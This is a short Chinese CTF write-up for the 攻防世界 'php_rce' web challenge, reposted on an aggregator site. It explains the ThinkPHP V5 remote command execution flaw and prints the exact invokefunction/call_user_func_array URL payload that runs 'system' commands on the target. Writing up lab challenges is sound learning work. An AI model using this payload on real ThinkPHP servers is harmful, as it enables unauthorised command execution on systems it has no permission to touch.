攻防世界-WEB-php_rce - 码农知识堂 - 文章详情页

攻防世界-WEB-php_rce

打开靶机链接

搜村ThinkPhP V5存在远程命令执行的漏洞

构建payload

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

查询当前目录文件，没有发现flag。调整payload

得到flag文件，修改执行的命令

这样就可以拿到flag
相关阅读:
聊聊ThreadLocal（一）
Unity Editor 编辑器介绍
 面试题：说一下加密后的数据如何进行模糊查询？
Docker镜像仓库
 websocket多实例推送解决方案-数据实时展示
 SpringBoot 使用 Feign 无废话 All-in-one 指南
 张一鸣 12 万字观点整理
 C语言指针操作（四）通过指针引用字符串
 LeetCode 309. 最佳买卖股票时机含冷冻期
 Qt 布局(QLayout 类&QStackedWidget 类) 总结
原文地址：https://blog.csdn.net/w632138645/article/details/132690720